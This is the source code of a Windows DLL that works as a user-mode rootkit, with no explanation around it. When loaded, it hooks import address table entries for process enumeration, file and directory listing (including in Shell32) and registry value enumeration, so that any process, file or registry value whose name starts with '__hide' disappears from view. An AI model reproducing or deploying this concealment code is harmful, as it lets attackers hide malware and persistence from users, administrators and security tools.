#include <Windows.h>
#include <string>
#include "PE_class.h"


using namespace std;

NTSTATUS (WINAPI *ZwQuerySystemInformation)(int SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

typedef LONG KPRIORITY;

typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _VM_COUNTERS {
    ULONG PeakVirtualSize;
    ULONG VirtualSize;
    ULONG PageFaultCount;
    ULONG PeakWorkingSetSize;
    ULONG WorkingSetSize;
    ULONG QuotaPeakPagedPoolUsage;
    ULONG QuotaPagedPoolUsage;
    ULONG QuotaPeakNonPagedPoolUsage;
    ULONG QuotaNonPagedPoolUsage;
    ULONG PagefileUsage;
    ULONG PeakPagefileUsage;
} VM_COUNTERS;

typedef struct _SYSTEM_PROCESS_INFORMATION {
  ULONG                   NextEntryOffset;
  ULONG                   NumberOfThreads;
  LARGE_INTEGER           Reserved[3];
  LARGE_INTEGER           CreateTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           KernelTime;
  UNICODE_STRING          ImageName;
  KPRIORITY               BasePriority;
  HANDLE                  ProcessId;
  HANDLE                  InheritedFromProcessId;
  ULONG                   HandleCount;
  ULONG                   Reserved2[2];
  ULONG                   PrivatePageCount;
  VM_COUNTERS             VirtualMemoryCounters;
  IO_COUNTERS             IoCounters;
  void*           Threads;

} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

__declspec(noinline) char* WINAPI Unicode2ANSI(char* buf,int len)
{

len=len/2;
char* ret=(char*)malloc(len+1);
memset(ret,0,len+1);
if(len==0)
{
	return ret;
}
int i=0;
while(i<len)
{
	ret[i]=buf[2*i];
	i++;
}
ret[len]=0;
return ret;
}

string p_name;
NTSTATUS stat;
string str;
DWORD SIC;//SystemInformationClass
char* tmp_buf;
SYSTEM_PROCESS_INFORMATION* SPI;
SYSTEM_PROCESS_INFORMATION* p_SPI=0;







int NewZwQuerySystemInformation(int SystemInformationClass,PVOID out_buf,ULONG SystemInformationLength,PULONG ReturnLength)
{
stat=ZwQuerySystemInformation(SystemInformationClass,out_buf,SystemInformationLength,ReturnLength);

SPI=(SYSTEM_PROCESS_INFORMATION*)out_buf;
SIC=SystemInformationClass;

if(stat==0 && SIC==5)
{




p_SPI=0;

	while(SPI!=p_SPI)
	{
		tmp_buf=Unicode2ANSI((CHAR*)SPI->ImageName.Buffer,SPI->ImageName.Length);
		str=tmp_buf;
		free(tmp_buf);
		if(str.find(p_name)==0)
		{
		if(SPI->NextEntryOffset==0)
		{
		p_SPI->NextEntryOffset=0;
		}
		else
		{
		p_SPI->NextEntryOffset+=SPI->NextEntryOffset;
		}

		}
		p_SPI=SPI;
		char* t=(char*)SPI;
		t+=SPI->NextEntryOffset;
		SPI=(SYSTEM_PROCESS_INFORMATION*)t;
	}
}
return stat;
}



void IAT(char* hInstance,string lib_name,string f_name,FARPROC func);

void HideProcess(char* name)
{
	ZwQuerySystemInformation=(NTSTATUS(__stdcall *)(int,PVOID,ULONG,PULONG))GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwQuerySystemInformation");
	p_name=name;
	
	IAT((char*)GetModuleHandle(0),"ntdll.dll","ZwQuerySystemInformation",(FARPROC)NewZwQuerySystemInformation);
	IAT((char*)GetModuleHandle(0),"ntdll.dll","NtQuerySystemInformation",(FARPROC)NewZwQuerySystemInformation);
}

string f_hide;
string f_str;
char f_tmp[520];

HANDLE (WINAPI *MyFindFirstFileExA)(LPCTSTR lpFileName,FINDEX_INFO_LEVELS fInfoLevelId,LPVOID lpFindFileData,FINDEX_SEARCH_OPS fSearchOp, LPVOID lpSearchFilter,DWORD dwAdditionalFlags);
HANDLE (WINAPI *MyFindFirstFileExW)(LPWSTR lpFileName,FINDEX_INFO_LEVELS fInfoLevelId,LPVOID lpFindFileData,FINDEX_SEARCH_OPS fSearchOp, LPVOID lpSearchFilter,DWORD dwAdditionalFlags);
HANDLE (WINAPI *MyFindFirstFileW)(LPWSTR lpFileName,LPVOID lpFindFileData);

BOOL (WINAPI *MyFindNextFileA)(HANDLE h,LPWIN32_FIND_DATAA data);
BOOL (WINAPI *MyFindNextFileW)(HANDLE h,LPWIN32_FIND_DATAW data);

NTSTATUS (WINAPI* MyZwQueryDirectoryFile)(HANDLE FileHandle,HANDLE Event,DWORD ApcRoutine,PVOID ApcContext,DWORD IoStatusBlock,PVOID FileInformation,ULONG Length,int FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan);





HANDLE WINAPI NewFindFirstFileExA(LPCTSTR lpFileName,FINDEX_INFO_LEVELS fInfoLevelId,LPVOID lpFindFileData,FINDEX_SEARCH_OPS fSearchOp, LPVOID lpSearchFilter,DWORD dwAdditionalFlags)
{
	HANDLE h=MyFindFirstFileExA(lpFileName,fInfoLevelId,lpFindFileData,fSearchOp,lpSearchFilter,dwAdditionalFlags);
	if(h!=0)
	{
		WIN32_FIND_DATA* fd=(WIN32_FIND_DATAA*)lpFindFileData;
		strcpy(f_tmp,fd->cFileName);

		f_str=f_tmp;
		if(f_str.find(f_hide)==0)
		{
			if(!MyFindNextFileA(h,fd))
			{
				return 0;
			}
		}
	}
	return h;
}



HANDLE WINAPI NewFindFirstFileExW(LPWSTR lpFileName,FINDEX_INFO_LEVELS fInfoLevelId,LPVOID lpFindFileData,FINDEX_SEARCH_OPS fSearchOp, LPVOID lpSearchFilter,DWORD dwAdditionalFlags)
{
	HANDLE h=MyFindFirstFileExW(lpFileName,fInfoLevelId,lpFindFileData,fSearchOp,lpSearchFilter,dwAdditionalFlags);
	if(h!=0)
	{
		WIN32_FIND_DATAW* fd=(WIN32_FIND_DATAW*)lpFindFileData;
		char* b=Unicode2ANSI((char*)fd->cFileName,wcslen(fd->cFileName)*2);
		f_str=b;
		free(b);
		if(f_str.find(f_hide)==0)
		{
			if(!MyFindNextFileW(h,fd))
			{
				return 0;
			}
		}
	}
	return h;
}

HANDLE WINAPI NewFindFirstFileW(LPWSTR lpFileName,LPVOID lpFindFileData)
{
	
	HANDLE h=MyFindFirstFileW(lpFileName,lpFindFileData);
	
	if(h!=0)
	{
		WIN32_FIND_DATAW* fd=(WIN32_FIND_DATAW*)lpFindFileData;
		char* b=Unicode2ANSI((char*)fd->cFileName,wcslen(fd->cFileName)*2);
		f_str=b;
		free(b);
		if(f_str.find(f_hide)==0)
		{
			if(!MyFindNextFileW(h,fd))
			{
				return 0;
			}
		}
	}
	return h;
}

BOOL NewFindNextFileA(HANDLE h,WIN32_FIND_DATA* lpFindFileData)
{
	bool ret=MyFindNextFileA(h,lpFindFileData);
	if(ret)
	{
	strcpy(f_tmp,lpFindFileData->cFileName);
	f_str=f_tmp;
	
	if(f_str.find(f_hide)==0)
		{
			if(!NewFindNextFileA(h,lpFindFileData))
			{
				ret=false;
			}
	     }
	
	}
	return ret;

}

BOOL NewFindNextFileW(HANDLE h,WIN32_FIND_DATAW* lpFindFileData)
{
	
	bool ret=MyFindNextFileW(h,lpFindFileData);

	if(ret)
	{

	char* b=Unicode2ANSI((char*)lpFindFileData->cFileName,wcslen(lpFindFileData->cFileName)*2);
	f_str=b;
	free(b);

	

	if(f_str.find(f_hide)==0)
		{
			
			if(!NewFindNextFileW(h,lpFindFileData))
			{
				ret=false;
			}
	     }
	
	}
	return ret;

}



typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
  ULONG         NextEntryOffset;
  ULONG         FileIndex;
  LARGE_INTEGER CreationTime;
  LARGE_INTEGER LastAccessTime;
  LARGE_INTEGER LastWriteTime;
  LARGE_INTEGER ChangeTime;
  LARGE_INTEGER EndOfFile;
  LARGE_INTEGER AllocationSize;
  ULONG         FileAttributes;
  ULONG         FileNameLength;
  ULONG         EaSize;
  CCHAR         ShortNameLength;
  WCHAR         ShortName[12];
  LARGE_INTEGER FileId;
  WCHAR         FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

FILE_ID_BOTH_DIR_INFORMATION* p_fb;
FILE_ID_BOTH_DIR_INFORMATION* fb;
FILE_ID_BOTH_DIR_INFORMATION* s_fb;
WCHAR w_str[1024];
char* t;
int zm=0;

NTSTATUS WINAPI NewZwQueryDirectoryFile(HANDLE FileHandle,HANDLE Event,DWORD ApcRoutine,PVOID ApcContext,DWORD IoStatusBlock,PVOID FileInformation,ULONG Length,int FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan)
{
	
	stat=MyZwQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,Length,FileInformationClass,ReturnSingleEntry,FileName,RestartScan);
	zm=0;

		if(stat==0 && FileInformationClass==0x25 && ReturnSingleEntry==0)
	{
		p_fb=0;
		fb=(FILE_ID_BOTH_DIR_INFORMATION*)FileInformation;
		s_fb=fb;
		while(1)
		{
		fb=s_fb;
		zm=0;
		while(fb!=p_fb)
		{
		memset(w_str,0,1024);
		memcpy(w_str,fb->FileName,fb->FileNameLength);
		wstring ws=w_str;
		
		
		
		
		if(ws.find(L"__hide")==0 && p_fb!=0)
		{
			zm++;
			if(fb->NextEntryOffset==0)
			{
				p_fb->NextEntryOffset=0;
			}
			else
			{
				p_fb->NextEntryOffset+=fb->NextEntryOffset;
			}

		}

		p_fb=fb;
		t=(char*)fb;
		t+=fb->NextEntryOffset;
		fb=(FILE_ID_BOTH_DIR_INFORMATION*)t;
		}
		if(zm==0)
		{
			break;
		}
		
		}
		}
		



	return stat;
}






void IAT(char* hInstance,string lib_name,string f_name,FARPROC func)
{
	
	PIMAGE_DOS_HEADER pdosheader = (PIMAGE_DOS_HEADER)hInstance;
	PIMAGE_NT_HEADERS pntheaders = (PIMAGE_NT_HEADERS)((char*)(hInstance) + pdosheader->e_lfanew);//NT_HEADER
	PIMAGE_IMPORT_DESCRIPTOR pimportdescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((char*)(hInstance) + pntheaders->OptionalHeader.DataDirectory[1].VirtualAddress);//IAT
	PIMAGE_THUNK_DATA pthunkdatain, pthunkdataout;
	PIMAGE_IMPORT_BY_NAME pimportbyname;

	PCHAR ptr;
	
	
	int i=0;
	while ( pimportdescriptor->TimeDateStamp != 0 ||pimportdescriptor->Name != 0)
	{
		ptr = (PCHAR)(hInstance+ (DWORD)pimportdescriptor->Name);
		i=0;
			
		
		pthunkdataout = (PIMAGE_THUNK_DATA)(hInstance + (DWORD)pimportdescriptor->FirstThunk);
		if (pimportdescriptor->Characteristics == 0)
		{
			pthunkdatain = pthunkdataout;
		}
		else 
		{
			pthunkdatain = (PIMAGE_THUNK_DATA)(hInstance +(DWORD)pimportdescriptor->Characteristics);
		}
		
		while ( pthunkdatain->u1.AddressOfData != NULL)
		{
			if ((DWORD)pthunkdatain->u1.Ordinal & IMAGE_ORDINAL_FLAG) 
			{
			
			}	
			else
			{
				pimportbyname = (PIMAGE_IMPORT_BY_NAME)(hInstance + (DWORD)pthunkdatain->u1.AddressOfData);
				
				if(f_name==(char*)pimportbyname->Name && GetModuleHandle(lib_name.c_str())==GetModuleHandle(ptr))
				{
				DWORD old;
				char* buf=(char*)hInstance;
				VirtualProtect((char*)(buf+pimportdescriptor->FirstThunk+(i*8)),8,PAGE_EXECUTE_READWRITE,&old);
				memcpy((char*)(buf+pimportdescriptor->FirstThunk+(i*8)),&func,8);
				}

			}


			i++;
			pthunkdatain++;
			pthunkdataout++;
		}



		pimportdescriptor++;  

	}
}



LONG (WINAPI *MyRegEnumValue)(HKEY hKey,DWORD dwIndex,LPTSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,
	LPBYTE lpData,LPDWORD lpcbData);

string r_str;
string r_hide;
DWORD r_change=0;

LONG WINAPI NewRegEnumValueA(HKEY hKey,DWORD dwIndex,LPTSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,
	LPBYTE lpData,LPDWORD lpcbData)
{
	DWORD x=*lpcchValueName;
	
	if(r_change)
	{
		dwIndex++;
	}
	LONG ret=MyRegEnumValue(hKey,dwIndex,lpValueName,lpcchValueName,lpReserved,lpType,lpData,lpcbData);
	if(ret==ERROR_SUCCESS)
	{
		r_str=(char*)lpValueName;
		if(r_hide==r_str)
		{
			
			ret=NewRegEnumValueA(hKey,dwIndex+1,lpValueName,&x,lpReserved,lpType,lpData,lpcbData);
			*lpcchValueName=x;
			r_change=1;
		}

	}
	if(ret==ERROR_NO_MORE_ITEMS)
	{
	r_change=0;
	}

	return ret;
}




void HideFile(char* name)
{
	string l="KernelBase.dll";
	if(GetModuleHandle(l.c_str())==0)
	{
		l="kernel32.dll";
	}

	MyFindFirstFileExA=(HANDLE (__stdcall *)(LPCTSTR,FINDEX_INFO_LEVELS,LPVOID,FINDEX_SEARCH_OPS,LPVOID,DWORD))GetProcAddress(GetModuleHandle(l.c_str()),"FindFirstFileExA");
	MyFindFirstFileExW=(HANDLE (__stdcall *)(LPWSTR,FINDEX_INFO_LEVELS,LPVOID,FINDEX_SEARCH_OPS,LPVOID,DWORD))GetProcAddress(GetModuleHandle(l.c_str()),"FindFirstFileExW");
	MyFindFirstFileW=(HANDLE (__stdcall *)(LPWSTR,LPVOID))GetProcAddress(GetModuleHandle(l.c_str()),"FindFirstFileW");
	MyFindNextFileA=(BOOL (__stdcall *)(HANDLE,LPWIN32_FIND_DATAA))GetProcAddress(GetModuleHandle(l.c_str()),"FindNextFileA");
	MyFindNextFileW=(BOOL (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW))GetProcAddress(GetModuleHandle(l.c_str()),"FindNextFileW");
	MyZwQueryDirectoryFile=(NTSTATUS (__stdcall *)(HANDLE,HANDLE,DWORD,PVOID,DWORD,PVOID,ULONG,int,BOOLEAN,PUNICODE_STRING,BOOLEAN))GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwQueryDirectoryFile");


	f_hide=name;

	
	IAT((char*)GetModuleHandle(0),"kernel32.dll","FindFirstFileExA",(FARPROC)NewFindFirstFileExA);
	IAT((char*)GetModuleHandle(0),"kernel32.dll","FindNextFileA",(FARPROC)NewFindNextFileA);
	IAT((char*)GetModuleHandle(0),"kernel32.dll","FindFirstFileExW",(FARPROC)NewFindFirstFileExW);
	IAT((char*)GetModuleHandle(0),"kernel32.dll","FindFirstFileW",(FARPROC)NewFindFirstFileW);
	IAT((char*)GetModuleHandle(0),"kernel32.dll","FindNextFileW",(FARPROC)NewFindNextFileW);

	IAT((char*)GetModuleHandle("Shell32.dll"),"ntdll.dll","NtQueryDirectoryFile",(FARPROC)NewZwQueryDirectoryFile);
	IAT((char*)GetModuleHandle("Shell32.dll"),"ntdll.dll","ZwQueryDirectoryFile",(FARPROC)NewZwQueryDirectoryFile);
	
}

void HideReg(char* name)
{
	MyRegEnumValue=(LONG (__stdcall *)(HKEY,DWORD,LPTSTR,LPDWORD,LPDWORD,LPDWORD,LPBYTE,LPDWORD))GetProcAddress(LoadLibrary("advapi32.dll"),"RegEnumValueA");
	r_hide=name;
	IAT((char*)GetModuleHandle(0),"advapi32.dll","RegEnumValueA",(FARPROC)NewRegEnumValueA);
}



BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		{
		
		HideProcess("__hide");
		HideFile("__hide");
		HideReg("__hide");
		
		}
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

